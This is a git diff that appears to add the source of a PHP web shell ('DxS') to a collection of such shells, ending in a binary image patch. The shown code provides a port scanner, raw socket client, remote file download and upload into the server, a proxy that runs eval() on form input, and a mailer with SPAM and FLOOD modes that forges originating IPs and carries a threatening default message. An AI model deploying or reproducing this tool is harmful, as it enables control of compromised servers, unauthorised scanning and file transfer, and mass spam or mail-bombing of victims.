'.$_POST['dxval'].' </font>) = '; + print "\n".'<form action="'.DxURL('leave', '').'" method=POST>'; + print "\n".'<textarea name="dxval" rows=20 style="width:100%;">'.((isset($crypted))?$crypted:'').'</textarea>'; + print "\n".'<div align=right>' + .'<input type=submit name="dxparam" value="md5" class="submit" style="width:50pt;"> ' + .'<input type=submit name="dxparam" value="sha1" class="submit" style="width:50pt;"> ' + .'<input type=submit name="dxparam" value="crc32" class="submit" style="width:50pt;"> '.str_repeat('&nbsp;', 5) + .'<input type=submit name="dxparam" value="2base" class="submit" style="width:50pt;"> ' + .'<input type=submit name="dxparam" value="base2" class="submit" style="width:50pt;"> ' + .'<input type=submit name="dxparam" value="2HEX" class="submit" style="width:50pt;"> ' + .'<input type=submit name="dxparam" value="HEX2" class="submit" style="width:50pt;"> ' + .'<input type=submit name="dxparam" value="2DEC" class="submit" style="width:50pt;"> ' + .'<input type=submit name="dxparam" value="2URL" class="submit" style="width:50pt;"> ' + .'<input type=submit name="dxparam" value="URL2" class="submit" style="width:50pt;"> ' + .'</div>'; + print "\n".'</form>'; + } + +######## +######## Port scaner +######## +if ($_GET['dxmode']=='PRT') + { + print '[!] For complete portlist go to <a href="http://www.iana.org/assignments/port-numbers" target=_blank>http://www.iana.org/assignments/port-numbers</a>'; if (isset($_POST['dxportscan']) or isset($_GET['dxparam'])) + $DEF_PORTS=array (1=>'tcpmux (TCP Port Service Multiplexer)',2=>'Management Utility',3=>'Compression Process',5=>'rje (Remote Job Entry)',7=>'echo',9=>'discard',11=>'systat',13=>'daytime',15=>'netstat',17=>'quote of the day',18=>'send/rwp',19=>'character generator',20=>'ftp-data',21=>'ftp',22=>'ssh, pcAnywhere',23=>'Telnet',25=>'SMTP (Simple Mail Transfer)',27=>'ETRN (NSW User System FE)',29=>'MSG ICP',31=>'MSG Authentication',33=>'dsp (Display Support Protocol)',37=>'time',38=>'RAP (Route Access Protocol)',39=>'rlp (Resource Location Protocol)',41=>'Graphics',42=>'nameserv, WINS',43=>'whois, nickname',44=>'MPM FLAGS Protocol',45=>'Message Processing Module [recv]',46=>'MPM [default send]',47=>'NI FTP',48=>'Digital Audit Daemon',49=>'TACACS, Login Host Protocol',50=>'RMCP, re-mail-ck',53=>'DNS',57=>'MTP (any private terminal access)',59=>'NFILE',60=>'Unassigned',61=>'NI MAIL',62=>'ACA Services',63=>'whois++',64=>'Communications Integrator (CI)',65=>'TACACS-Database Service',66=>'Oracle SQL*NET',67=>'bootps (Bootstrap Protocol Server)',68=>'bootpd/dhcp (Bootstrap Protocol Client)',69=>'Trivial File Transfer Protocol (tftp)',70=>'Gopher',71=>'Remote Job Service',72=>'Remote Job Service',73=>'Remote Job Service',74=>'Remote Job Service',75=>'any private dial out service',76=>'Distributed External Object Store',77=>'any private RJE service',78=>'vettcp',79=>'finger',80=>'World Wide Web HTTP',81=>'HOSTS2 Name Serve',82=>'XFER Utility',83=>'MIT ML Device',84=>'Common Trace Facility',85=>'MIT ML Device',86=>'Micro Focus Cobol',87=>'any private terminal link',88=>'Kerberos, WWW',89=>'SU/MIT Telnet Gateway',90=>'DNSIX Securit Attribute Token Map',91=>'MIT Dover Spooler',92=>'Network Printing Protocol',93=>'Device Control Protocol',94=>'Tivoli Object Dispatcher',95=>'supdup',96=>'DIXIE',98=>'linuxconf',99=>'Metagram Relay',100=>'[unauthorized use]',101=>'HOSTNAME',102=>'ISO, X.400, ITOT',103=>'Genesis Point-to&#14144;&#429;oi&#65535;&#65535; T&#0;&#0;ns&#0;&#0;et',104=>'ACR-NEMA Digital Imag. & Comm. 300',105=>'CCSO name server protocol',106=>'poppassd',107=>'Remote Telnet Service',108=>'SNA Gateway Access Server',109=>'POP2',110=>'POP3',111=>'Sun RPC Portmapper',112=>'McIDAS Data Transmission Protocol',113=>'Authentication Service',115=>'sftp (Simple File Transfer Protocol)',116=>'ANSA REX Notify',117=>'UUCP Path Service',118=>'SQL Services',119=>'NNTP',120=>'CFDP',123=>'NTP',124=>'SecureID',129=>'PWDGEN',133=>'statsrv',135=>'loc-srv/epmap',137=>'netbios-ns',138=>'netbios-dgm (UDP)',139=>'NetBIOS',143=>'IMAP',144=>'NewS',150=>'SQL-NET',152=>'BFTP',153=>'SGMP',156=>'SQL Service',161=>'SNMP',175=>'vmnet',177=>'XDMCP',178=>'NextStep Window Server',179=>'BGP',180=>'SLmail admin',199=>'smux',210=>'Z39.50',213=>'IPX',218=>'MPP',220=>'IMAP3',256=>'RAP',257=>'Secure Electronic Transaction',258=>'Yak Winsock Personal Chat',259=>'ESRO',264=>'FW1_topo',311=>'Apple WebAdmin',350=>'MATIP type A',351=>'MATIP type B',363=>'RSVP tunnel',366=>'ODMR (On-Demand Mail Relay)',371=>'Clearcase',387=>'AURP (AppleTalk Update-Based Routing Protocol)',389=>'LDAP',407=>'Timbuktu',427=>'Server Location',434=>'Mobile IP',443=>'ssl',444=>'snpp, Simple Network Paging Protocol',445=>'SMB',458=>'QuickTime TV/Conferencing',468=>'Photuris',475=>'tcpnethaspsrv',500=>'ISAKMP, pluto',511=>'mynet-as',512=>'biff, rexec',513=>'who, rlogin',514=>'syslog, rsh',515=>'lp, lpr, line printer',517=>'talk',520=>'RIP (Routing Information Protocol)',521=>'RIPng',522=>'ULS',531=>'IRC',543=>'KLogin, AppleShare over IP',545=>'QuickTime',548=>'AFP',554=>'Real Time Streaming Protocol',555=>'phAse Zero',563=>'NNTP over SSL',575=>'VEMMI',581=>'Bundle Discovery Protocol',593=>'MS-RPC',608=>'SIFT/UFT',626=>'Apple ASIA',631=>'IPP (Internet Printing Protocol)',635=>'RLZ DBase',636=>'sldap',642=>'EMSD',648=>'RRP (NSI Registry Registrar Protocol)',655=>'tinc',660=>'Apple MacOS Server Admin',666=>'Doom',674=>'ACAP',687=>'AppleShare IP Registry',700=>'buddyphone',705=>'AgentX for SNMP',901=>'swat, realsecure',993=>'s-imap',995=>'s-pop',1024=>'Reserved',1025=>'network blackjack',1062=>'Veracity',1080=>'SOCKS',1085=>'WebObjects',1227=>'DNS2Go',1243=>'SubSeven',1338=>'Millennium Worm',1352=>'Lotus Notes',1381=>'Apple Network License Manager',1417=>'Timbuktu Service 1 Port',1418=>'Timbuktu Service 2 Port',1419=>'Timbuktu Service 3 Port',1420=>'Timbuktu Service 4 Port',1433=>'Microsoft SQL Server',1434=>'Microsoft SQL Monitor',1477=>'ms-sna-server',1478=>'ms-sna-base',1490=>'insitu-conf',1494=>'Citrix ICA Protocol',1498=>'Watcom-SQL',1500=>'VLSI License Manager',1503=>'T.120',1521=>'Oracle SQL',1522=>'Ricardo North America License Manager',1524=>'ingres',1525=>'prospero',1526=>'prospero',1527=>'tlisrv',1529=>'oracle',1547=>'laplink',1604=>'Citrix ICA, MS Terminal Server',1645=>'RADIUS Authentication',1646=>'RADIUS Accounting',1680=>'Carbon Copy',1701=>'L2TP/LSF',1717=>'Convoy',1720=>'H.323/Q.931',1723=>'PPTP control port',1731=>'MSICCP',1755=>'Windows Media .asf',1758=>'TFTP multicast',1761=>'cft-0',1762=>'cft-1',1763=>'cft-2',1764=>'cft-3',1765=>'cft-4',1766=>'cft-5',1767=>'cft-6',1808=>'Oracle-VP2',1812=>'RADIUS server',1813=>'RADIUS accounting',1818=>'ETFTP',1973=>'DLSw DCAP/DRAP',1985=>'HSRP',1999=>'Cisco AUTH',2001=>'glimpse',2049=>'NFS',2064=>'distributed.net',2065=>'DLSw',2066=>'DLSw',2106=>'MZAP',2140=>'DeepThroat',2301=>'Compaq Insight Management Web Agents',2327=>'Netscape Conference',2336=>'Apple UG Control',2427=>'MGCP gateway',2504=>'WLBS',2535=>'MADCAP',2543=>'sip',2592=>'netrek',2727=>'MGCP call agent',2628=>'DICT',2998=>'ISS Real Secure Console Service Port',3000=>'Firstclass',3001=>'Redwood Broker',3031=>'Apple AgentVU',3128=>'squid',3130=>'ICP',3150=>'DeepThroat',3264=>'ccmail',3283=>'Apple NetAssitant',3288=>'COPS',3305=>'ODETTE',3306=>'mySQL',3389=>'RDP Protocol (Terminal Server)',3521=>'netrek',4000=>'icq, command-n-conquer and shell nfm',4321=>'rwhois',4333=>'mSQL',4444=>'KRB524',4827=>'HTCP',5002=>'radio free ethernet',5004=>'RTP',5005=>'RTP',5010=>'Yahoo! Messenger',5050=>'multimedia conference control tool',5060=>'SIP',5150=>'Ascend Tunnel Management Protocol',5190=>'AIM',5500=>'securid',5501=>'securidprop',5423=>'Apple VirtualUser',5555=>'Personal Agent',5631=>'PCAnywhere data',5632=>'PCAnywhere',5678=>'Remote Replication Agent Connection',5800=>'VNC',5801=>'VNC',5900=>'VNC',5901=>'VNC',6000=>'X Windows',6112=>'BattleNet',6502=>'Netscape Conference',6667=>'IRC',6670=>'VocalTec Internet Phone, DeepThroat',6699=>'napster',6776=>'Sub7',6970=>'RTP',7007=>'MSBD, Windows Media encoder',7070=>'RealServer/QuickTime',7777=>'cbt',7778=>'Unreal',7648=>'CU-SeeMe',7649=>'CU-SeeMe',8000=>'iRDMI/Shoutcast Server',8010=>'WinGate 2.1',8080=>'HTTP',8181=>'HTTP',8383=>'IMail WWW',8875=>'napster',8888=>'napster',8889=>'Desktop Data TCP 1',8890=>'Desktop Data TCP 2',8891=>'Desktop Data TCP 3: NESS application',8892=>'Desktop Data TCP 4: FARM product',8893=>'Desktop Data TCP 5: NewsEDGE/Web application',8894=>'Desktop Data TCP 6: COAL application',9000=>'CSlistener',10008=>'cheese worm',11371=>'PGP 5 Keyserver',13223=>'PowWow',13224=>'PowWow',14237=>'Palm',14238=>'Palm',18888=>'LiquidAudio',21157=>'Activision',22555=>'Vocaltec Web Conference',23213=>'PowWow',23214=>'PowWow',23456=>'EvilFTP',26000=>'Quake',27001=>'QuakeWorld',27010=>'Half-Life',27015=>'Half-Life',27960=>'QuakeIII',30029=>'AOL Admin',31337=>'Back Orifice',32777=>'rpc.walld',45000=>'Cisco NetRanger postofficed',32773=>'rpc bserverd',32776=>'rpc.spray',32779=>'rpc.cmsd',38036=>'timestep',40193=>'Novell',41524=>'arcserve discovery',); + + if (isset($_GET['dxparam'])) + { print "\n".'<table><tr><td class=listing colspan=2><h2>#Scan main will scan these '.count($DEF_PORTS).' ports:</td></tr>'; + $INDEXES=array_keys($DEF_PORTS); + for ($i=0;$i<count($INDEXES);$i++) + print "\n".'<tr><td width=40 class=listing style="text-align:right;">'.$INDEXES[$i].'</td><td class=listing>'.$DEF_PORTS[ $INDEXES[$i] ].'</td></tr>'; + print "\n".'</table>'; + die(); + } + + if (isset($_POST['dxportscan'])) + { $OKAY_PORTS = 0; + $TOSCAN=array(); + + if ($_POST['dxportscan']['ports']=='#default') $TOSCAN=array_keys($DEF_PORTS); + else + { $_POST['dxportscan']['ports']=explode(',',$_POST['dxportscan']['ports']); + for ($i=0;$i<count($_POST['dxportscan']['ports']);$i++) + { $_POST['dxportscan']['ports'][$i]=explode('-',$_POST['dxportscan']['ports'][$i]); + if (count($_POST['dxportscan']['ports'][$i])==1) $TOSCAN[]=$_POST['dxportscan']['ports'][$i][0]; + else + $TOSCAN+=range($_POST['dxportscan']['ports'][$i][0], $_POST['dxportscan']['ports'][$i][1]); + $_POST['dxportscan']['ports'][$i]=implode('-', $_POST['dxportscan']['ports'][$i]); + } + $_POST['dxportscan']['ports']=implode(',',$_POST['dxportscan']['ports']); + } + + print "\n".'<table><tr><td colspan=2><font class="highlight_txt">Opened ports:</td></tr>'; + list($usec, $sec) = explode(' ', microtime()); + $start=(float)$usec + (float)$sec; + for ($i=0;$i<count($TOSCAN);$i++) + { $cur_port=&$TOSCAN[$i]; + $fp=@fsockopen($_POST['dxportscan']['host'], $cur_port, $e, $e, (float)$_POST['dxportscan']['timeout']); + if ($fp) + { $OKAY_PORTS++; + $port_name=''; + if (isset($DEF_PORTS[$cur_port])) $port_name=$DEF_PORTS[$cur_port]; + print "\n".'<tr><td width=50 class=listing style="text-align:right;">'.$cur_port.'</td><td class=listing>'.$port_name.'</td><td class=listing>'.getservbyport($cur_port, 'tcp').'</td></tr>'; + } + } + list($usec, $sec) = explode(' ', microtime()); + $end=(float)$usec + (float)$sec; + + print "\n".'</table>'; + print "\n".'<font class="highlight_txt">Scanned '.count($TOSCAN).', '.$OKAY_PORTS.' opened. Time: '.($end-$start).'</font>'; + print "\n".'<br><hr>'."\n"; + } + + print "\n".'<form action="'.DxURL('leave', '').'" method=POST>'; + print "\n".'<table border=0>' + .'<tr>' + .'<td colspan=2>' + .'<input type=text name="dxportscan[host]" value="'.((isset($_POST['dxportscan']['host']))?$_POST['dxportscan']['host'].'"':'127.0.0.1"').' SIZE=30>' + .'<input type=text name="dxportscan[timeout]" value="'.((isset($_POST['dxportscan']['timeout']))?$_POST['dxportscan']['timeout'].'"':'0.1"').' SIZE=10>' + .'</tr><tr>' + .'<td><textarea name="dxportscan[ports]" rows=3 cols=50>'.((isset($_POST['dxportscan']['ports']))?$_POST['dxportscan']['ports']:'21-25,35,80,3306').'</textarea>' + .'</td><td>' + .'<input type=checkbox name="dxportscan[ports]" value="#default"><a '.DxDesign_DrawBubbleBox('', 'To learn out what "main ports" are, click here', 300).' href="'.DxURL('kill','dxparam').'&dxparam=main_legend">#Scan main</a>' + .'<br><input type=submit value="Scan" class="submit" style="width:100pt;">' + .'</tr></table></form>'; + } + +######## +######## Raw s0cket +######## +if ($_GET['dxmode']=='SOCK') + { + $DEFQUERY=DxHTTPMakeHeaders('GET', '/index.php?get=q&get2=d', 'www.microsoft.com', 'DxS Browser', 'http://referer.com/', array('post_val' => 'Yeap'), array('cookiename' => 'val')); + print "\n".'<form action="'.DxURL('leave', '').'" method=POST>'; print "\n".'<table width=100% cellspacing=0 celpadding=0>'; + print "\n".'<tr><td class=linelisting colspan=2 width=100%><input type=text name="dxsock_host" value="'.( (isset($_POST['dxsock_host'])?$_POST['dxsock_host']:'www.microsoft.com') ).'" style="width:100%;">'; + print "\n".'</td><td class=linelisting><nobr><input type=text name="dxsock_port" value="'.( (isset($_POST['dxsock_port'])?$_POST['dxsock_port']:'80') ).'" SIZE=10>' + .' timeout <input type=text name="dxsock_timeout" value="'.( (isset($_POST['dxsock_timeout'])?$_POST['dxsock_timeout']:'1.0') ).'" SIZE=4></td></tr>'; + print "\n".'<tr><td class=linelisting colspan=3>' + .'<textarea ROWS=15 name="dxsock_request" style="width:100%;">'.( (isset($_POST['dxsock_request'])?$_POST['dxsock_request']:$DEFQUERY) ).'</textarea>' + .'</td></tr>'; + print "\n".'<tr>' + .'<td class=linelisting width=50pt><input type=radio name="dxsock_type" value="HTML" '.( (isset($_POST['dxsock_type'])? (($_POST['dxsock_type']=='HTML')?'CHECKED':'') :'CHECKED') ).'>HTML</td>' + .'<td class=linelisting width=50pt><input type=radio name="dxsock_type" value="TEXT" '.( (isset($_POST['dxsock_type'])? (($_POST['dxsock_type']=='TEXT')?'CHECKED':'') :'') ).'>TEXT</td>' + .'<td class=linelisting width=100%><div align=right><input type=submit class=submit value="Send" style="width:100pt;height:20pt;"></td>' + .'</tr>'; + print "\n".'</table>'; + + if (!isset($_POST['dxsock_host'], $_POST['dxsock_port'], $_POST['dxsock_timeout'], $_POST['dxsock_request'], $_POST['dxsock_type'])) die(); + + print "\n".'<table width=100% cellspacing=0 celpadding=0>'; + print "\n".'<tr><td class=listing><pre><font class=highlight_txt>'.$_POST['dxsock_request'].'</font></pre></td></tr>'; + print "\n\n\n".'<tr><td class=listing>'; + + $fp=@fsockopen($_POST['dxsock_host'], $_POST['dxsock_port'], $errno, $errstr, (float)$_POST['dxsock_timeout']); + if (!$fp) die(DxError('Sock #'.$errno.' : '.$errstr)); + + if ($_POST['dxsock_type']=='TEXT') print '<plaintext>'; + + if (!empty($_POST['dxsock_request'])) fputs($fp, $_POST['dxsock_request']); + $ret=''; + while (!feof($fp)) $ret.=fgets($fp, 4096 ); + fclose( $fp ); + + if ($_POST['dxsock_type']=='HTML') $headers_over_place=strpos($ret,"\r\n\r\n"); else $headers_over_place=FALSE; + + if ($headers_over_place===FALSE) print $ret; + else print '<pre>'.substr($ret, 0, $headers_over_place).'</pre><br><hr><br>'.substr($ret, $headers_over_place); + + if ($_POST['dxsock_type']=='HTML') print "\n".'</td></tr></table>'; + } + +######## +######## FTP, HTTP file transfers +######## +if ($_GET['dxmode']=='FTP') + { print "\n".'<table align=center width=100%><col span=3 align=right width=33%><tr><td align=center><font class="highlight_txt"><b>HTTP Download</td><td align=center><font class="highlight_txt"><b>FTP Download</td><td align=center><font class="highlight_txt"><b>FTP Upload</td></tr>'; + + print "\n".'<tr><td>'; /* HTTP GET */ + print "\n\t".'<form action="'.DxURL('leave', '').'" method=POST>'; + print "\n\t".'<input type=text name="DxFTP_HTTP" value="http://" style="width:100%;">'; + print "\n\t".'<input type=text name="DxFTP_FileTO" value="'.((isset($_GET['dxdir'])?$_GET['dxdir']:DxFileOkaySlashes(realpath($GLOB['FILES']['CurDIR'])))).'/file.txt" style="width:100%;">'; + print "\n\t".'<input type=submit value="GET!" style="width:150pt;" class=submit></form>'; + print "\n".'</td><td>'; /* FTP DOWNL */ + print "\n\t".'<form action="'.DxURL('leave', '').'" method=POST>'; + print "\n\t".'<input type=text name="DxFTP_FTP" value="ftp.host.com[:21]" style="width:100%;">'; + print "\n\t".'<nobr><b>Login:<input type=text name="DxFTP_USER" value="Anonymous" style="width:40%;"> / <input type=text name="DxFTP_PASS" value="" style="width:40%;"></b></nobr>'; + print "\n\t".'<input type=text name="DxFTP_FileOF" value="get.txt" style="width:100%;">'; + print "\n\t".'<input type=text name="DxFTP_FileTO" value="'.((isset($_GET['dxdir'])?$_GET['dxdir']:DxFileOkaySlashes(realpath($GLOB['FILES']['CurDIR'])))).'/" style="width:100%;">'; + print "\n\t".'<br><nobr><input type=checkbox name="DxFTP_File_BINARY" value="YES">Enable binary mode</nobr>'; + print "\n\t".'<input type=submit name="DxFTP_DWN" value="Download!" style="width:150pt;" class=submit></form>'; + print "\n".'</td><td>'; /* FTP UPL */ + print "\n\t".'<form action="'.DxURL('leave', '').'" method=POST>'; + print "\n\t".'<input type=text name="DxFTP_FTP" value="ftp.host.com[:21]" style="width:100%;">'; + print "\n\t".'<nobr><b>Login:<input type=text name="DxFTP_USER" value="Anonymous" style="width:40%;"> / <input type=text name="DxFTP_PASS" value="" style="width:40%;"></b></nobr>'; + print "\n\t".'<input type=text name="DxFTP_FileOF" value="'.((isset($_GET['dxdir'])?$_GET['dxdir']:DxFileOkaySlashes(realpath($GLOB['FILES']['CurDIR'])))).'/file.txt'.'" style="width:100%;">'; + print "\n\t".'<input type=text name="DxFTP_FileTO" value="put.txt" style="width:100%;">'; + print "\n\t".'<br><nobr><input type=checkbox name="DxFTP_File_BINARY" value="YES">Enable binary mode</nobr>'; + print "\n\t".'<input type=submit name="DxFTP_UPL" value="Upload!" style="width:150pt;" class=submit></form>'; + print "\n".'</td></tr></table>'; + + if (isset($_POST['DxFTP_HTTP'])) { $URLPARSED=parse_url($_POST['DxFTP_HTTP']); $request=DxHTTPMakeHeaders('GET', $URLPARSED['path'].'?'.$URLPARSED['query'], $URLPARSED['host']); + if (!($f=@fsockopen($URLPARSED['host'], (empty($URLPARSED['port']))?80:$URLPARSED['port'], $errno, $errstr, 10))) die(DxError('Sock #'.$errno.' : '.$errstr)); + fputs($f, $request); + + $GETFILE=''; + while (!feof($f)) $GETFILE.=fgets($f, 4096 ); + fclose( $f ); + + DxFiles_UploadHere($_POST['DxFTP_FileTO'], '', $GETFILE); + } + + if (isset($_POST['DxFTP_DWN']) OR isset($_POST['DxFTP_UPL'])) + { $DxFTP_SERV=explode(':',$_POST['DxFTP_FTP']); + if(empty($DxFTP_SERV[1])) {$DxFTP_SERV=$DxFTP_SERV[0]; $DxFTP_PORT = 21;} else {$DxFTP_SERV=$DxFTP_SERV[0]; $DxFTP_PORT = (int)$DxFTP_SERV[1];} + if (!($FTP=ftp_connect($DxFTP_SERV,$DxFTP_PORT,10))) die(DxError('No connection')); + if (!ftp_login($FTP, $_POST['DxFTP_USER'], $_POST['DxFTP_PASS'])) die(DxError('Login failed')); + if (isset($_POST['DxFTP_UPL'])) + if (!ftp_put($FTP, $_POST['DxFTP_FileTO'],$_POST['DxFTP_FileOF'], (isset($_POST['DxFTP_File_BINARY']))?FTP_BINARY:FTP_ASCII)) + die(DxError('Failed to upload')); else print 'Upload OK'; + if (isset($_POST['DxFTP_DWN'])) + if (!ftp_get($FTP, $_POST['DxFTP_FileTO'],$_POST['DxFTP_FileOF'], (isset($_POST['DxFTP_File_BINARY']))?FTP_BINARY:FTP_ASCII)) + die(DxError('Failed to download')); else print 'Download OK'; + ftp_close($FTP); + } + } + +######## +######## HTTP Proxy +######## +if ($_GET['dxmode']=='PROX') + { + print "\n\t".'<form action="'.DxURL('leave', '').'" method=POST>'; print "\n".'<table width=100% cellspacing=0>'; + print "\n".'<tr><td width=100pt class=linelisting>URL</td><td><input type=text name="DxProx_Url" value="'.(isset($_POST['DxProx_Url'])?$_POST['DxProx_Url']:'http://www.microsoft.com:80/index.php?get=q&get2=d').'" style="width:100%;"></td></tr>'; + print "\n".'<tr><td width=100pt colspan=2 class=linelisting><nobr>Browser <input type=text name="DxProx_Brw" value="'.(isset($_POST['DxProx_Brw'])?$_POST['DxProx_Brw']:'DxS Browser').'" style="width:40%;">' + .' Referer <input type=text name="DxProx_Ref" value="'.(isset($_POST['DxProx_Ref'])?$_POST['DxProx_Ref']:'http://www.ref.ru/').'" style="width:40%;"></td></tr>'; + print "\n".'<tr><td width=100pt class=linelisting><nobr>POST (php eval)</td><td><input type=text name="DxProx_PST" value="'.(isset($_POST['DxProx_PST'])?$_POST['DxProx_PST']:'array(\'post_val\' => \'Yeap\')').'" style="width:100%;"></td></tr>'; + print "\n".'<tr><td width=100pt class=linelisting><nobr>COOKIES (php eval)</td><td><input type=text name="DxProx_CKI" value="'.(isset($_POST['DxProx_CKI'])?$_POST['DxProx_CKI']:'array(\'cookiename\' => \'val\')').'" style="width:100%;"></td></tr>'; + print "\n".'<tr><td colspan=2><input type=submit value="Go" class=submit style="width:100%;">'; + print "\n".'</td></tr></table></form>'; + + if (!isset($_POST['DxProx_Url'])) die(); + + print str_repeat("\n", 10).'<!-- DxS Proxy Browser -->'."\n\n"; + + if (empty($_POST['DxProx_PST'])) $_POST['DxProx_PST']=array(); + else {if (eval('$_POST[\'DxProx_PST\']='.$_POST['DxProx_PST'].';')===FALSE) $_POST['DxProx_PST']=array();} + if (empty($_POST['DxProx_CKI'])) $_POST['DxProx_CKI']=array(); + else {if (eval('$_POST[\'DxProx_CKI\']='.$_POST['DxProx_CKI'].';')===FALSE) $_POST['DxProx_CKI']=array();} + + $URLPARSED=parse_url($_POST['DxProx_Url']); + $request=DxHTTPMakeHeaders('GET', (empty($URLPARSED['path'])?'/':$URLPARSED['path']).(!empty($URLPARSED['query'])?'?'.$URLPARSED['query']:''), $URLPARSED['host'], $_POST['DxProx_Brw'], $_POST['DxProx_Ref'], $_POST['DxProx_PST'], $_POST['DxProx_CKI']); + if (!($f=@fsockopen($URLPARSED['host'], (empty($URLPARSED['port']))?80:$URLPARSED['port'], $errno, $errstr, 10))) + die(DxError('Sock #'.$errno.' : '.$errstr)); + fputs($f, $request); + + $RET=''; + while (!feof($f)) $RET.=fgets($f, 4096 ); + fclose( $f ); + + print "\n".'<table width=100% border=0><tr><td>'; + $headers_over_place=strpos($RET,"\r\n\r\n"); + if ($headers_over_place===FALSE) print $RET; + else + print '<pre><font class=highlight_txt>'.substr($RET, 0, $headers_over_place).'</font></pre><br><hr><br>'.substr($RET, $headers_over_place); + print str_repeat("\n", 10).'</td></tr></table>'; + } + +######## +######## MAIL +######## +if ($_GET['dxmode']=='MAIL') + { if (!isset($_GET['dxparam'])) + { + print ''; print "\n".'<form action="'.DxURL('kill', '').'" method=GET style="display:inline;">'; + DxGETinForm('leave', ''); + print "\n".'<input type=submit name="dxparam" value="SPAM" style="position: absolute; width: 30%; left: 10%;">' + .'<font class=highlight_txt style="position:absolute;left:46.5%;">: MAIL mode :</font>' + .'<input type=submit name="dxparam" value="FLOOD" style="position: absolute; width: 30%; right: 10%;">'; + print "\n".'</form>'; + die();} + + if (ini_get('sendmail_path')=='') DxWarning('php.ini "sendmail_path" is empty! ('.var_export(ini_get('sendmail_path'), true).')'); + print "\n\t".'<form action="'.DxURL('leave', '').'" method=POST>'; + print "\n".'<table width=100% cellspacing=0 width=90% align=center><col width=100pt>'; + if ($_GET['dxparam']=='FLOOD') + { print "\n".'<tr><td class=linelisting><b>TO: </td><td><input type=text name="DxMailer_TO" style="width:100%;" value="'.( (empty($_POST['DxMailer_TO']))?'tristam@mail.ru':$_POST['DxMailer_TO'] ).'"></td></tr>'; + print "\n".'<tr><td class=linelisting><b>NUM FLOOD: </td><td><input type=text name="DxMailer_NUM" value="'.( (empty($_POST['DxMailer_NUM']))?'1000':$_POST['DxMailer_NUM'] ).'" SIZE=10></td></tr>'; + } + else print "\n".'<tr><td class=linelisting><b>TO: </td><td><textarea name="DxMailer_TO" rows=10 style="width:100%;">'.( (empty($_POST['DxMailer_TO']))?'tristam@mail.ru'."\n".'billy@microsoft.com':$_POST['DxMailer_TO'] ).'</textarea></td></tr>'; + print "\n".'<tr><td class=linelisting><b>FROM: </td><td><input type=text name="DxMailer_FROM" value="'.( (empty($_POST['DxMailer_FROM']))?'DxS <admin@'.$_SERVER['HTTP_HOST']:$_POST['DxMailer_FROM'] ).'>" style="width:100%;"></td></tr>'; + print "\n".'<tr><td class=linelisting><b>SUBJ: </td><td><input type=text name="DxMailer_SUBJ" style="width:100%;" value="'.( (empty($_POST['DxMailer_SUBJ']))?'Look here, man...':$_POST['DxMailer_SUBJ'] ).'"></td></tr>'; + print "\n".'<tr><td class=linelisting><b>MSG: </td><td><textarea name="DxMailer_MSG" rows=5 style="width:100%;">'.( (empty($_POST['DxMailer_MSG']))?'<html><body><b>Wanna be butchered?':$_POST['DxMailer_MSG'] ).'</textarea></td></tr>'; + print "\n".'<tr><td class=linelisting colspan=2><div align=center><input type=submit Value="'.$_GET['dxparam'].'" class=submit style="width:70%;"></tr>'; + print "\n".'</td></table></form>'; + + if (!isset($_POST['DxMailer_TO'])) die(); + + $HEADERS=''; + $HEADERS.= 'MIME-Version: 1.0'."\r\n"; + $HEADERS.= 'Content-type: text/html;'."\r\n"; + $HEADERS.='To: %%TO%%'."\r\n"; + $HEADERS.='From: '.$_POST['DxMailer_FROM']."\r\n"; + $HEADERS.='X-Originating-IP: [%%IP%%]'."\r\n"; + $HEADERS.='X-Mailer: DxS v'.$GLOB['SHELL']['Ver'].' Mailer'."\r\n"; + $HEADERS.='Message-Id: <%%ID%%>'; + + if ($_GET['dxparam']=='FLOOD') + { $NUM=$_POST['DxMailer_NUM']; + $MAILS=array($_POST['DxMailer_TO']); + } + else + { $MAILS=explode("\n",str_replace("\r", '', $_POST['DxMailer_TO'])); + $NUM=1; + } + + function DxMail($t, $s, $m, $h) /* debugger */ + {print "\n\n\n<br><br><br>".$t."\n<br>".$s."\n<br>".$m."\n<br>".$h;} + + $RESULTS[]=array(); + + for ($n=0;$n<$NUM;$n++) + for ($m=0;$m<count($MAILS);$m++) $RESULTS[]=(int) + mail($MAILS[$m], $_POST['DxMailer_SUBJ'], $_POST['DxMailer_MSG'], + str_replace(array('%%TO%%','%%IP%%', '%%ID%%'), + array('<'.$MAILS[$m].'>' , long2ip(mt_rand(0,pow(2,31))) , md5($n.$m.DxRandomChars(3).time())), + $HEADERS) + ); + + print "\n\n".'<br><br>'.array_sum($RESULTS).' mails sent ('.( (100*array_sum($RESULTS))/($NUM*(count($MAILS))) ).'% okay)'; + + } + +if ($DXGLOBALSHIT) print "\n\n\n".'<!--/SHIT KILLER--></TD></TR></TABLE>'; +die(); +?> + diff --git a/php/PHPshell/MySQL Web Interface Version 0.8/MySQL Web Interface Version 0.8.jpg b/php/PHPshell/MySQL Web Interface Version 0.8/MySQL Web Interface Version 0.8.jpg new file mode 100644 index 0000000000000000000000000000000000000000..e5ff040df0983d4fd1cb587fabc26b14fb407fbd GIT binary patch literal 17483 zcmeHv1ymi)wr1lRLI@I^Ac5czJZKU;XmCw%I}qG+2np^GAV7fN?ry<7xVr~;w{xcd zJ2UT3?!5f(&0BZPdvDe~tXijcRd-kK>Rr2befvAWC*g|#u8f4V1b~2m0K5kO0Qd~> z96(1!MMFhFM?*uyz(B{u#=nD&g@sLwcmFOvISC~NISCmV6)h`06*V&r85slbV`g>^ zE-o%gdVV23PC?cuT%3R01OWpB0~-tb!JRt~I3JQd<ov(>z?*=3=m<fGSV#!e0OCCa zq<aYPHh>ZU5KzFU{o{fE*9QR+2^j?y4IKj$3p}9$7eGWnLPA7FLP0@B2G8~c+X3Wz zD0mM!#8B@my+Nb4#piq<k%CV1tfZMhdFX)liGiIr1|}iV17Z@oNAwJj8M(N5c=`AR zp1%;6kd%^^d8MMNrmmr>WoTq<Vrph?VejDR<m}?=_Ti(Cub+QFU}V&%=$P2gaq+2X z=^2?>**UqTW#tu>Rn;}MEv;?s9i3g>J;NiTW8)K(Q`1Y!E30ci);Bh{4v&scPS4IS zF0cO33jsj-pKAS!W`C#GJy0)1WMm{{v_JGhKy(HR(miC9ha9MQVoGRlZ0}QZzDLJ@ z7LiiYj6w56`GCN{ZU~c*mTQUb@DJ7grrEzwG4KD7X8)qtpL$IL*hmQA%R{;chydqT z45?n2|1AII#^CW*6&#p~x0*;&PgvW%<c0K0k-zn{jDrIok6|f|my~dzq#&694s=yG z!$B7T4339kLc1!=;Q$gSOxOJQv1KPdBm1eqkQ8=*;K~;ctU_TOVHXM_TcmIx0uEf0 